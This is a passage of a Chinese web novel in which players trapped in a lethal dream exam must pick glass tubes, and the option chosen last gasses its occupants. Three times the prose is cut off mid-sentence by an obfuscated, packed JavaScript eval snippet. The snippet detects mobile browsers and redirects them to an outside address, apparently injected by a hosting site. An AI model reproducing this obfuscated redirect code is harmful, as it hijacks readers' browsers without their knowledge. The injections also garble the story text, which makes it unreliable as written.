一旁的白羽楠闻言,满脸写着羡慕嫉妒恨,沮丧地说道:“你这什么狗屎运!我有好几次险些着了道……真是不公平……” 吴樊祐毫不留情地回怼:“谁让你满脑子装着的都是男人?” “不对吧!你别偷换概念,如果那模特是女人,我看你未必出得来!”白羽楠不服道。 “别把我想得跟你一样蠢。”吴樊祐争锋相对。 白羽楠捏紧拳头强忍着怒气,看她那样子,恨不得撕烂吴樊祐的嘴,只听她冷哼一声,毒辣讽刺:“就你这刻薄又瞧不起人的性子,大概记忆里只有你自己吧!还女人呢,谁出现在你记忆中,简直倒了八辈子血霉!” 这句话竟成功激怒了吴樊祐,只见吴樊祐面色阴沉,一改平时十分随意的说话方式,冷冷道:“你如果将这股精明劲儿用在自己身上,也不至于被人愚弄,落得鱼死网破遭人唾弃的境地。” 仅仅一句话,白羽楠像是遭遇了暴风雨的洗礼,面色苍白地后退两步,紧紧闭上了嘴,手指在胳膊上留下清晰的凹陷,她没有再说什么,扭头远离,寻了个无人之处,靠着墙,缓缓蹲了下去。 俞小澄用手肘撞了下吴樊祐的腰,狠狠瞪了他一眼,后者耸了耸肩,毫无悔过之意。 眼看着气氛闹僵,俞小澄无奈地走向白羽楠,一时也不知道如何安慰,只是陪白羽楠蹲在角落里,轻轻捏了捏她的肩。 “没关系,确实是我自己的问题。”白羽楠强挤出一个微笑。 二人在角落沉默了许久,直到白羽楠自己将负面情绪消化,白羽楠忽然疑惑道:“怪了,他为什么会知道我的事?” 俞小澄一惊,急忙摆手:“我什么都没说。” “我知道。”白羽楠拍拍俞小澄的手背,又诧异地看了一眼独自站在远处的吴樊祐,“可他说得好像很了解我的事一样……” “也许,他也看八卦新闻?”俞小澄努力寻找着看上去合理的解释。 “哦……大概吧,只是没想到他这种人还会关心八卦……”白羽楠点点头,像是被说服了。 可俞小澄望着吴樊祐,心中不免生疑——他是这样的人吗? 139. 梦境(五) 俞小澄带着疑问回到吴樊祐身边,想让他跟白羽楠道个歉,至于吴樊祐为何会知道白羽楠的私事,她想问却又不知该如何开口。 “学姐觉得我说错了吗?”吴樊祐一脸专注地注视着俞小澄的眼睛。 “这……谈不上对错吧,当局者迷,旁观者清,仅此而已。” 俞小澄有些为难,其实这种事哪有对错可言,只是设身处地,谁都不喜欢被人非议罢了。 “学姐既然这么说,那我道歉。只是学姐别全信,大家都有遗忘的记忆,未必所有人都值得你相信。”吴樊祐的话似乎意有所指。 他没有过多解释,带着些许无奈,走到白羽楠面前,说了几句表达歉意的话,而白羽楠也没在此事上过多纠缠,大度地原谅了吴樊祐的冒犯。 一切看上去好像是圆满解决了,可俞小澄总觉得心里堵得慌,大概是因为心中的疑虑并未打消。 吴樊祐似乎总是比她知道的更多,不止是来到穷途旅店,从他们第一次见面起,她就有这种感觉。 她依然清晰地记得吴樊祐踩着夕阳的余晖走到她面前,开口第一句便像与她相识许久,他背着光,声音爽朗地问她:“俞小澄,这是你找的最佳观景位?” 所以当赤身无脸男模在画中世界靠近她时,她总觉得哪里怪怪的,现在想想,原来是缺少了一点惊喜。 因为,第一面,他喊出了她的名字。 “想什么呢?” 正当俞小澄沉浸于过往回忆时,一只手忽然搭上了她肩膀,吓得她浑身一抖,转过头便撞上了吴樊祐灿烂的笑脸。 “没什么,”俞小澄轻抚胸口,剜了这个吓人的家伙一眼,“只是偶然想起在社团活动室第一次见面,你当时为什么知道我的名字?” 吴樊祐没想到她会问这个问题,摆出一副思考的模样:“这个嘛,很重要吗?” “哦,随便问问,没什么要紧,你不记得就算了。”俞小澄故作轻松地回答,作势要走。 吴樊祐一把抓住了她的衣袖,立马换了一副讨好的嘴脸:“记得,怎么可能不记得,哪有问了问题不要答案的道理!学姐忘了我记性好,听过看过一遍都不会忘记吗?所以知道你的名字不算奇怪吧!” 俞小澄细想之下,发现不无道理,果然是自己太敏感了些,一点小事都能过度解读,不禁有些难为情。 本想就此结束这个问题,没承想吴樊祐接着这个话题继续问道:“那,学姐还记得当时对我说的第一句话吗?” 俞小澄哪里可能忘记,当时她格外生分地对吴樊祐说:“我们好像不熟,你还是叫我学姐吧。” 此时再想起,竟觉得自己有几分傲慢,不由得红了脸,支支吾吾回答:“咳……这、这么久以前的事了,怎、怎么可能还记得,很重要吗?” 吴樊祐眼神微微一暗,轻吐一口浊气,故作一副可怜兮兮的样子,道:“只让我一个人记得,是不是不太公平?你说我们不熟,让我叫你学姐,回想起来了吗?” 俞小澄只得将“失忆”的戏码继续演下去,尴尬地笑道:“呵呵,好像是有这么一回事,我记性没你好,真是对不住!” 吴樊祐无可奈何地摇了摇头,随即又问:“为何当时学姐不问我名字?后来再见时,你好像已经知道我叫什么了。” “啊?我没问吗?你记错了吧……”俞小澄装傻充愣。 吴樊祐勾了勾嘴角,语气坚定地道:“学姐,我记性很好。” “哦,那可能是我在活动室听其他社员提到过你的名字吧。”俞小澄强行解释道。 吴樊祐露出一个心满意足的笑:“那我可以理解为,当时你就记住我了吗?” 俞小澄微微一怔,心里怦怦直跳,有些难以置信地凝视着吴樊祐,低声质疑道:“你知道你在说什么吗?” “嗯?怎么了?”吴樊祐不解地挠了挠头,“我又说错什么话了吗?” “以后别随便问别人这种问题!”俞小澄厉声呵斥道。 “啊?哦……嗯,好……”吴樊祐不知所措地回应道。 俞小澄看着他那副懵懂无知的模样,心情异常复杂,她不知吴樊祐是神经大条,还是故意使坏,能问出这种在她听来无比暧昧的问题。 也许他提问时没有别的意思,可不代表俞小澄不会多想,若对方并无此意,那多想的她反倒显得自作多情。 她当然早就记住了吴樊祐这个人,倒不是因为他加入了她所在的社团,而是从叽叽喳喳的室友谈话中听到了这个名字,又在校园中无数次偶遇的追星场面,看到了那个被人捧上神坛的人物,从此,她记住了这个人。 一个与她截然相反的人与人生。 她本以为像他们这样差距极大的人不会有交集,直到他踩着夕阳的余晖出现在她的眼前,并喊出了她的名字。 从此,她的心里住进了一个人。 她的记住远比他想的记住意义更深,所以她没法强装轻松地回答他。 因为一句话,让二人之间的气氛僵住,沉默代替了对话,一直到考场的大门开启,俞小澄像是逃亡一般走进了考场。 这一次的场地又发生了变化,桌椅不复存在,取而代之的是四根贯穿天花板与地板的巨型透明管道,管道内的地面依次写着ABCD四个字母,每根管道面向讲台的这面都开着一道门。 俞小澄向讲台上的黑板望去,只见上面用红漆写着六个字——犹豫就会败北。 一众考生围着四根管道打转,根据地面上的英文字母,他们只能推测出这会是一场分组挑战。 黑板上的提示实在过于抽象,六位住客聚在一起,讨论半天也没推理出这句话蕴含的规则到底是什么。 时间很快过去,监考官一号拍了拍桌子,手里举起一份考卷,高声宣布道:“本次考试正式开始,考题已经在我手上,总共六道选择题,我将按照时间公布题目,请各位考生在二十分钟内做出选择,根据你们所选的答案,站入相应的场地。” 随着监考官说出考试形式,考场内议论声四起,众人面面相觑。 “是要我们站到那玻璃试管里的意思吗?” “什么选择题需要思考二十分钟啊?” “可以相互讨论答案吗?” “就是不讨论也可以跟风作弊啊……” …… 对于这样的考试方式,所有人心中都有疑虑,这场考试的意义是什么呢? “会不会答错了有惩罚?”白羽楠一脸担忧地望着竖立在教室中的四根巨型管道。 被她这么一说,其他人也紧张起来。 陈奇:“喂,如果又是智力问答,我可不行啊,你们谁行谁带队。” 单浩言:“还得先听听问题是什么才知道啊!” 方英彦:“惩罚会是什么啊……” 在这阵嘈杂声中,监考官一号再次拍了拍桌子,众人瞬间噤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13344787|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声,纷纷往讲台方向看去,然后便听监考官一号一字一句念出了第一道考题。 “对你来说,这世上什么是最重要的?” “A,金钱与财富。” “B,声望与名誉。” “C,健康与生命。” “D,人际关系。” 待他宣布完毕,墙上的倒计时再度启动,这一次的时间从2小时缩短到了20分钟,给人一种莫名的压迫感。 考场内瞬间炸了锅,这种题哪里有正确答案,如果没有答案,那又该如何选择呢? 就在众人全都一筹莫展之际,一位无脸考生穿过人群,径直走入了地上标注字母B的管道内。 此时有人佩服他的大胆与自信,有人嘲笑他的自以为是,也有人跟风一般随他进入了B选项的管道中。 “这种题要怎么做啊?是我的话,选C吧。”白羽楠一脸纠结。 “妈的,这种题哪有对错啊,难道又是随机处决?”陈奇说着往后缩了缩脖子。 方英彦此刻也不淡定了,愁眉苦脸地看着众人,万分期待着有人能给出安全选项。 单浩言一咬牙,指了指C选项,道:“说不定就是赌运气,规则提示会不会就是让我们凭直觉迅速做出决定?不管了,我就赌C!” 话音刚落,单浩言头也不回地往C选项管道大门走去。 “喂,要不要这么儿戏啊?万一选错了呢?”方英彦一边叫唤着,一边跟了上去。 陈奇见状,似乎心中有了决断,一咬牙紧随其后,走进了相同的管道里。 白羽楠犹豫地望着俞小澄,想听俞小澄的决定,俞小澄则抬头眼巴巴地看向吴樊祐。 “看我干嘛?我脸上写着答案么?”吴樊祐摸了摸脸,还有闲心开玩笑。 俞小澄一脸认真回答:“不是,我就觉得单浩言说的挺有道理,但我运气一向不好,若要赌运气,就由你来选吧!” “呜哇,这么大压力给我吗?要不我们再等等看?反正时间还长,看看别人怎么选呗。”吴樊祐气定神闲地说道。 俞小澄没给他时间慢慢琢磨,催促道:“赌运气看别人干嘛,你不是天选之人吗?你任选,我们跟你走,大不了一起死。” “学姐可真信任我……”吴樊祐欲言又止,无奈地摇了摇头,随后一本正经地说,“我选人吧。” “好!”俞小澄二话不说,拉上吴樊祐与白羽楠就进入了地上标注着字母D的透明管道内。 隔着透明玻璃看外面,许多考生尚在踌躇与观望。 然而不管他们怎么等也等不出答案,因为他们必须在时限内完成选择,而结果也只会在所有人都做出选择后才知晓。 俞小澄贴着玻璃坐在管道内,心中因为未知的结果而莫名的不安,于是便想用聊天转移自己的注意力。 她问吴樊祐在这道题上是否真的会选D,吴樊祐却反问她会如何选。 “我能全选吗?”俞小澄打趣道。 吴樊祐轻笑:“这么贪心?” 俞小澄仔细思索一番,才道:“那还是D吧。” “理由呢?” “因为没有,所以想要吧。”俞小澄苦涩一笑,“那你又为什么选D?” 吴樊祐挑着眉,浅浅一笑:“谁说我选D了?我明明说的是我选人。” “……” 俞小澄整个人都僵住了,简直想将他摁在地上摩擦。 140. 梦境(五) 当限定时间快要结束时,在场的考生才终于全部做出了选择,四个选项各有人选,不过选A的明显人最少,仅仅三人。 究其原因,大抵爱财如命这种事羞于在人前展示,就算心里想选,也会顾忌旁人的眼光,所以更多的选择集中在最后两个选项。 当所有人走入管道里,连通管道与外界的大门关闭,所有人都被关在了密闭的管道内,令人不由得紧张起来。 当倒计时结束时,从天花板上射下四道光柱,仿佛为四根透明管道填上了色彩。那光柱不断在红色与绿色之间切换,像极了紧张刺激的开奖时刻。 没有人知道这是在干嘛,只能静静地等待结果。 这或红或绿的光束来回变换了约莫十秒,最终停止了躁动。 BCD三个选项的管道亮起了绿光,原本上锁的大门随着嘎吱一声响,缓缓打开,站在里面的考生一脸疑惑地走了出来。 只余下A选项的管道被红光覆盖,站在里面的三名考生不由得慌张,使劲拉扯门把手,可大门纹丝不动。 里面的人拍打着管道玻璃,而外面的人只是冷眼看着。 这时几乎所有人都明白,被关在管道中的考生即将出局。 不过片刻功夫,一阵白色的浓烟自天花板倾泻而下,如沉香一般柔滑地落下,最终描绘出的却不是引人沉醉的画卷,而是人间地狱。 那三个被浓烟包裹的人痛苦地挣扎,仿佛即将溺死在深海里,无助,恐惧,不甘,悔恨…… 约莫过了一分钟,浓烟散去,大门开启,而躺在管道里的人只余下浑身发紫的尸体。 几个监考官熟练地清理掉尸体,监考官一号若无其事地开始宣布下一道考题。 “如果有人在你面前做了坏事,你会如何选择?” “A,假装没看见。” “B,勇敢上前打抱不平。” “C,苟一苟,暗中举报。” “D,打不过就加入。” 题目公布后,新的一轮倒计时就此开始。 有了后果的展示后,一众考生不得不谨慎起来,毕竟谁都搞不清淘汰的标准,一旦选错了,再无后悔的机会。 可偏偏这时又有一人昂首挺胸穿过人群,自信满满地钻进了B选项的管道内。 其余考生窃窃私语,犹豫着要不要跟上去。 俞小澄看着那个无比自信的无脸考生,心中万分疑惑,难道有人这么快就已经掌握了本场考试的规则? 视线在那人身上打转,俞小澄竟发现那人有些眼熟,倒不是长相,毕竟他们这些考生根本就没脸,而是那人裤子上残留的墨迹。 记忆被拉回到前一天,那个在黑暗中点燃蜡烛的人,那个在考场里撑起雨伞的人,那个若无其事走出食堂的人…… 几个身影重合在一起,形成了现在站在玻璃管道里的男子。 “啊,是他?”俞小澄低声念叨。 “是谁?小澄姐你认识?不对,没脸你分得出谁是谁?”白羽楠循着俞小澄的目光望去,最终落在了管道里的男子身上。 俞小澄将自己记忆中的发现告诉了白羽楠和吴樊祐,心中疑惑更甚:“是巧合?运气?还是天才?再或者,他一开始就知道答案?” 吴樊祐立马意会,道:“你怀疑他是恶灵?” “不敢肯定,但足够可疑。”俞小澄的视线始终停留在那人身上,而后冲吴樊祐和白羽楠招了招手,“跟着他试试。” 二人点头跟了上去。 见三人径直往B选项的管道走去,陈奇直觉三人一定有所发现,于是紧紧跟了上去。 他一行动,单浩言和方英彦也不敢落后。 管道内,六名玩家围着这个疑似恶灵的考生,心中想法各异,有人茫然无措,有人万分好奇,有人十足警惕,有人纠结犹豫…… 俞小澄朝吴樊祐使了使眼色,吴樊祐便心领神会地对那个考生开了口:“兄弟,你为啥要选B?有啥选择的小诀窍吗?不妨教教我们。” 那人缓缓抬起头,扫视一圈,最后视线落在了俞小澄脸上,他说话的语气十分平静:“没诀窍,全凭心情。” “带蜡烛和带伞也是因为心情?”俞小澄小心翼翼地问道。 那人淡然回答:“我习惯有备无患,如果你们对考场规则足够敏感,也问不出这种问题,在这里,规定决定一切。” “小兄弟,你叫啥名儿,不如交个朋友,彼此有个照应。”陈奇露出一脸狡黠的笑。 “我没兴趣跟你们做朋友。”那人冷酷拒绝。 此后,不管他们问什么,那人都闭口不谈,旁若无人一般靠坐在角落里,安静地等待倒计时结束。 难道真的只是习惯了迅速看清规则? 那人的话仿佛在嘲笑他们的蠢钝,这让俞小澄燃起斗志,誓要弄清本场考试的规则究竟是什么。 “其实从方才的结果看,有可能选择人数最少的那个选项就是地雷。”单浩言提出了自己的见解。 听上去挺像那么回事,方才正是选择人数最少的A选项成为了错误答案,而选择的人被淘汰出局。 要推算哪个选项选择的人最少,然后将其排除在外,总比没头没脑乱撞靠谱许多。 可真的如此吗? “你的说法好像跟黑板上那句‘犹豫就会败北’没什么关系啊。”俞小澄谨慎提醒。 单浩言一时语塞,好像思路走进了死胡同,需要重新规划路线。 “或者,又回到我一开始的思路,就是凭直觉,赌运气。” “按照字面理解,没啥毛病啊。”陈奇发表看法道,“犹豫就会败北,那不要犹豫做出选择不就好了嘛!” 俞小澄觉得他说得对,又好像不完全对。 如果所有人都迅速做出选择,不带一丝犹豫,届时,又如何判定哪一组人出局呢? 而且,上一道题,其实他们也犹豫了挺长时间,才做出自己的选择,就结果而言,犹豫并没有成为死亡的导火索。 就在几人讨论着答题规则时,站在管道外的考生也纷纷做出了自己的选择。 优先选择B和C的人员居多,过了许久也没有人走入AD两个选项的管道内,直到时间过半,终于出现了第一个步入A选项管道的勇士。 有了前人大胆的选择,后面的也终于壮起胆子,走向了看上去会被人诟病的冷漠选项。 像D选项这种逆天的操作,就是放在现实中也没人做得到,要有多强大的心理,才会昧着良心步入其中? 俞小澄曾猜测,D应该成为选择人数最少的选项,只是没料到,一个选它的人都没有。 当最后一人步入管道内,所有管道的出口关闭,红绿两色光束再次登场。 俞小澄也再次确定,光靠不犹豫,决定不了谁成为出局者,因为所有人的思考时间都不一样,并且四散在各个选项中,很难以此为评断标准。 又在一次紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364236|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺激的灯光秀后,第二道考题的答案也公之于众。 选择A选项的考生被囚禁在了管道之中,浓烟的洗礼再度降临,将鲜活的生命吞噬殆尽,只余下五具没有灵魂的尸体。 “看吧,果然还是人数最少的那边倒了霉!” 从管道中走出后,单浩言指着监考官正在清理的尸体,言之凿凿地说道。 俞小澄却摇了摇头,经过两轮实验,她已经逐渐明白了这场考试真正的规则,没有时间解释,她只是低声对五人发出指示。 “等下一题公布后,不管题目和选项是什么,你们第一时间跟我一起选A就行!” “你这什么都不解释,就要我们陪你冒险吗?”方英彦脸上明确写着不信任。 “小澄姐的话,我信。”白羽楠坚定说道,并希望方英彦能听劝。 相比之下,吴樊祐对质疑的人就没那么和善了,他冷嘲热讽道:“你最好说到做到,不相信就别勉强,万一将你带沟里去了,我们可没法跟你粉丝交代。” 身为粉丝的白羽楠自然希望能帮上自家偶像,可方英彦的态度在吴樊祐的三言两语下变得异常坚决,他宁愿相信单浩言的判断,等到最后,避开人数最少的选项,再做出自己的选择。 单浩言同样坚定自己的判断没有问题,于是玩家分裂成了两队,相信俞小澄判断的吴樊祐、白羽楠和陈奇,和相信单浩言判断的方英彦。 俞小澄没有费力劝说,她只关注着监考官清理完尸体开始公布考题。 “请选择你与他人的相处方式。” “A,迎合讨好。” “B,我行我素。” “C,喜恶分明。” “D,掌控全局。” 正如俞小澄方才所言,她未曾细想,径直迈步踏入了A选项的管道里,紧随其后进入的有吴樊祐三人。 他们的举动引来众人非议,连那个总抢第一的无脸考生似乎都为之一惊,那人原本是打算走进B管道里,可在门前思考了片刻,然后,那人转身走进了俞小澄他们所在的A管道里。 可接下,便无人再选择A选项,反而纷纷涌入了B管道内。 “到底怎么回事?小俞妹子,你当真弄清规律了吗?我怎么感觉这个选项会是人最少的喃……”陈奇的神色明显有些不放心。 吴樊祐趁机讥笑道:“奇哥,你不信可以跟那两个蠢蛋一起嘛,干嘛要自找苦吃,跟我们冒险呐?” 陈奇苦笑道:“我怎么会不信小俞妹子呢?我就是好奇问问。” 俞小澄指了指剩下两个还未进人的管道,说:“你们注意看下一个被选择的选项是哪一个,剩下的那个会死人。” 俞小澄的话很简短,甚至不能称之为解释,可她的神情十分认真,于是其余三人都学着她的样子,趴在玻璃上,注视着另外两个管道的情况。 经过漫长的等待中,终于有人踏入了D选项管道,而C管道成为了四个选项中最晚被人选择的那一个。 等到绝大多数选择结束,果然俞小澄所在的A管道沦为全场人数最少的选项。 单浩言和方英彦对视一眼,毅然远离了A管道,走向了人数偏多的CD两个管道。 最后二人用猜拳的方式,选择了D管道。 站在A管道里的俞小澄不方便提醒他们,看着二人没有踏入C管道,不由得松了一口气。 很快,第三轮考题的结果也公布了,C管道中的八人沦为祭品。 141. 梦境(五) 从管道中走出,单浩言和方英彦的脸都白了,方才他们距离死亡只差一步。 陈奇拍着马屁道:“嗐,我就说我看人的眼光不会错,还得是你,小俞妹子,要听那两傻小子的,我们搞不好已经噶了!” 单浩言有些气不过,可事实已经证明,选择的人数并不影响结果,他也不好多说什么。 方英彦则继续嘴硬道:“呵呵,我没有不相信俞小姐的意思,只是想帮浩言大哥验证一下他想法的可行性。” 吴樊祐瞥了方英彦一眼,冷声反问道:“哦?验证?怎么验证?看我们人少这边会不会死吗?” “哎,这不没事嘛,不用这么敏感吧,哈哈哈……大家都没事就好。”方英彦像个没事人一样说道。 连身为粉丝的白羽楠都觉得心里有些膈应,不再为自己的偶像辩解。 单浩言放低姿态说道:“是我考虑不周,所以,究竟是什么规则?” 俞小澄压低声音解释道:“是顺序,先来后到的顺序。” 只是提点了一句,众人心领神会,此刻再看黑板上的字,心中豁然明亮。 犹豫就会败北,考试开场就以哑谜的形式给出了提示,单浩言最开始思考的方向没有问题,这道考题不需要思考,就是迅速做出选择,犹豫会成为禁忌。 但有一点他考虑错了,这场考试并不是赌运气,而是被选择的顺序。 四个选项中,最后被选择的那一个,将成为致命选项。 所以根本不存在选择人数的多少问题,只要选择了这个致命选项的考生,都会被淘汰出局。 而这个致命选项,并非一开始和最后决定的,而是在考试进行中由考生在无意识中共同决定的。 看清了这个规则,便有了万全的应对策略。 他们如今要么成为第一个选择的人,那不管后面的人如何选择,致命选项都轮不到他们头上;要么看清被选择的顺序,然后只选择最早被人选择的选项即可。 看起来已经万无一失。 就在众人吃了一颗定心丸之时,监考官一号又开始宣读起下一道考题。 “面对他人的恶意,你的态度是?” “A,以其人之道还施彼身。” “B,得饶人处且饶人。” “C,忍气吞声无作为。” “D,让垃圾从世界上消失。” 这一次,场面突然乱了起来,一众考生疯狂涌入各个管道里,相互推挤,争先恐后,仿佛身后突然出现恶犬,唯恐躲避不及。 “什么情况……”陈奇被人推搡着,有些晕头转向。 单浩言紧皱着眉头:“看来不止俞小姐一个人发现了规则。” “这下好了,咋整?”方英彦愁容满面。 白羽楠镇定地说道:“别急,他们可能没完全发现规则,否则不会四个选项都有人选择,他们也许只是觉得应该抢先。” 俞小澄点头表示赞同,但是此刻她有些慌神,问:“你们谁看到刚才那些人的选择顺序了吗?” 事发突然,俞小澄被拥挤的人群吓了一大跳,恰好错过了最早踏入管道的那一幕,如今完全不知道哪个管道才是安全的。 陈奇:“妈的,我被人推了一把,没看到。” 单浩言:“人太多了,没注意。” 方英彦:“不知道啊,你们也没人提醒我要注意这个……” 白羽楠也一脸焦虑地摇了摇头,最终俞小澄只能一脸期待地抬头望向吴樊祐。 吴樊祐方才不知道在想什么走了神,被俞小澄拉了拉衣袖,才回过神来,看着俞小澄满是期待的眼神,嘴角微微扬起,道:“如果我说我没看见,学姐打算怎么办?” “那就只好让你靠运气选一个了。”俞小澄一脸认真地回答。 一抹复杂的情绪从吴樊祐眼底一闪而过,他抬头看着那四根耸立在考场内的透明管道,似乎做了一个艰难的决定。 吴樊祐抬手指了指B选项管道,语气坚定地说:“我看到第一个被选的是B,然后是C,AD两项几乎同时有人踏入。” “卧槽,这啥眼神,牛啊吴哥!” 陈奇一边冲吴樊祐竖起大拇指,一边迫不及待地往B管道入口跑,单浩言和方英彦紧随其后。 对于吴樊祐的惊人记忆力,俞小澄没有一丝怀疑,她冲吴樊祐微微一笑,顺口夸了句“还得是你”,然后便拉上二人往目标管道走去。 选择B的人并不多,陈奇三人大摇大摆地往里走,俨然一副胜利者的姿态。 俞小澄走到入口大门,白羽楠先行一步钻进了管道内,吴樊祐礼让一般站在门边做了个请的手势,俞小澄微笑接受,扶着门框就往里走。 可一只脚刚踩进管道中,耳朵里忽然响起一声惊呼:“小澄姐,别去那里!” 俞小澄脚步一顿,停在了门边,她回头四处张望,考场中除了分散在角落与讲台上的监考官,只剩她与吴樊祐还未走入管道。 在她听来,那声音分明是张尧,跟她在睡梦中听到的一样,可是哪里也看不见张尧的身影,她甚至怀疑自己又产生了幻听。 可那急切的声音听上去那么真实,让她心烦意乱。 上一次听到张尧的呼叫,是她险些走入恶灵设置在梦中的陷阱,而这一次,是不是同样在提醒她有危险呢? 俞小澄眉头微蹙,缓缓收回踏入管道的那只脚,身旁的吴樊祐面露疑色问:“怎么了?” 俞小澄一时解释不清,用自己的幻听来质疑吴樊祐是否看错了顺序吗?这似乎有些傲慢无礼。 “我只是忽然想到一件事。”她思索着听上去合理的借口。 吴樊祐的目光在她与管道内来回探寻,似乎有些焦急:“什么事?要不先进去再说?早点结束这场无聊的考试。” 俞小澄有些心不在焉地环顾四周,她尚在努力搜寻着合理的解释,忽然视线停在了D选项的管道壁上,通过玻璃,她看到一个眼熟的身影淡然地站在那里,裤腿上留着一串显眼的墨迹。 “啊,我就觉得我们其实不用费眼力,跟着那个恶灵嫌疑人不就好了嘛!这不是最保险的办法吗?瞧我这脑子,这会儿才想到这个办法,真是对不起!” 俞小澄说着冲管道里的人招了招手,着急地将人喊出来,里面的人一脸茫然,嘴里一边嘀咕着一边往外走。 陈奇:“又怎么了,小俞妹子?吴哥难道还能搞错不成?” 方英彦:“到底有没有个准信?” 单浩言:“是规则有问题?” 俞小澄尴尬地笑了笑,指了指最右手边的管道:“呵呵,对不住,就是怕我推测的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381844|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规则不准,我感觉跟着那人走比较保险。” 白羽楠点了点头,将嘴里不消停的三人骂了一顿,然后带头转向D选项的管道入口。 “学姐是不信我吗?” 身后传来吴樊祐沮丧的声音。 俞小澄心里一紧,赶紧摆手解释:“没有,我只是有种自己错了的直觉,不是你的问题。” 吴樊祐看她的眼神有些复杂,俞小澄很难从中读取到吴樊祐的情绪,只好走到吴樊祐身后,推着他往D管道走去。 原本站在B管道里的几个考生眼见进入的人纷纷离开,心中不免产生不祥的预感,于是干脆紧跟在几人身后,转移到了D管道内。 当最后一个考生走入管道内,嘎吱一声响,各个入口大门自动关闭,红绿灯光又一次亮起,鼓动着考生紧张的情绪。 最终,致命选项公布为C,里面的七人瞬间倒地不起。 陈奇等人见状不由得怀疑起俞小澄对于规则的判断。 “小俞妹子啊,规则是不是没推对?C不是第二个被选择的吗?” 方英彦抓挠着头发,甚是焦虑:“喂,到底有没有百分百准确的答案,我们不会每次都得靠运气吧?” “我相信小澄姐的判断没问题,你们怎么不怀疑是某人看错了顺序呢?可能一开始C就是最后被人选择的。”白羽楠替俞小澄鸣不平,却将战火引向了吴樊祐。 而作为当事人,吴樊祐显然不在乎旁人的指控,心不在焉地思考着自己的事,根本懒得搭理旁人。 俞小澄心里有所怀疑,规则不应该有变才对,这次出现的结果,其实也印证了俞小澄的猜想,B和C应该不是最先被选择的两个选项。 按照她推测出的规则逻辑,C之所以会成为致命选项,其实是因为B选项中的人全部撤离,导致最后被选的选项从B转移到了C。 可如果这种假设成立,那就证明是吴樊祐看错了。 俞小澄不想将责任推到吴樊祐身上,于是岔开话题道: “也许规则是有疏漏,不过我已经找到最不容易出错的解题思路,我们跟着那个恶灵嫌疑人抄答案就行了,我不相信恶灵能让自己所在的选项陷入危机。” 她的话勉强安抚了焦躁不安的众人。 紧接着,第五道考题如期而至。 “你所认可的世界秩序是什么?” “A,规则决定一切。” “B,金钱与权力决定一切。” “C,成绩与荣誉决定一切。” “D,人性与善恶决定一切。” 经过上一道题的测试,大概许多考生已经意识到自己想法的错误,与上一回的情况不同,这次快速跑向管道的人明显减少,当然,恶灵候选人从未迟疑过。 俞小澄全程紧盯着那人,亲眼看着他淡定地迈入了A管道。 只是经过四轮淘汰,如今考场内的考生人数骤减到了二十人,这场考试出局的人甚至超过了半数。 其实站在玩家的角度,NPC的淘汰对他们来说是好事,毕竟可以缩小恶灵的范围,所以没人会为NPC的死感到难过,只是俞小澄难免觉得梦境过于残忍了些。 就在她感慨之时,她发现周围举棋不定的考生开始陆续往A管道走去,看那趋势,似乎所有人都打算选择相同的选项。 142. 梦境(五) 正如俞小澄想的那样,几乎所有考生都进入了A管道入口,陈奇等人也着急地往那个方向赶去。 这一下,前所未有的情况出现了,除了A管道,其他三个管道内一个考生都没有,看来所有人都意识到了正确的解题思路,因此没有人愿意去赌,自己如果不跟风选择,那之后还有没有人选尚未有人选择的选项。 可这样选择的结果又会是什么呢? 所有人都紧张地等待着结果。 然而,这一次,无人伤亡。 俞小澄感觉挺讽刺的,如果一开始,大家就都选择同一选项,是不是整场考试一个人都不会被淘汰呢? 等到最后一题时,这场考试已经没有了意义。 尽管已经是走走过场,可这场戏依然得唱到最后,监考官一号的语气依然平淡,不过对于结果似乎已经没有了期待。 “如果人生可以重来,你是否会坚持自己当初的选择?” “A,会。” “B,不会。” 毫无悬念,又是步调统一的选择,所有人都站到了A管道中,仿佛在宣示对自我的认可。 这场荒谬的考试就此落幕,考生人数只余二十人,与刚进入梦境时的百人相比,实在少得可怜。 安然闯过这关的六位玩家,在走廊里席地而坐,大口喘着气,吐槽着考试的离谱。 “所以能确定恶灵的身份吗?”白羽楠小声问俞小澄。 对于这个问题,俞小澄并不敢肯定,没有足够的证据证明那个人就是恶灵,但他的确最为可疑。 “如果他是,消灭他的道具又能藏在哪儿呢?”俞小澄一边思索着,一边自言自语道。 白羽楠问:“你觉不觉得刚才考试的六道题,好像在极力表达什么?” 被白羽楠这么一说,俞小澄仔细回想起那六道考题,当时太过紧张没有深究,如今细想,竟有些耐人寻味。 “小澄姐,你记不记得第一个问题,就是问最重要是什么,当时那家伙选的是声望与名誉。”白羽楠接着说道。 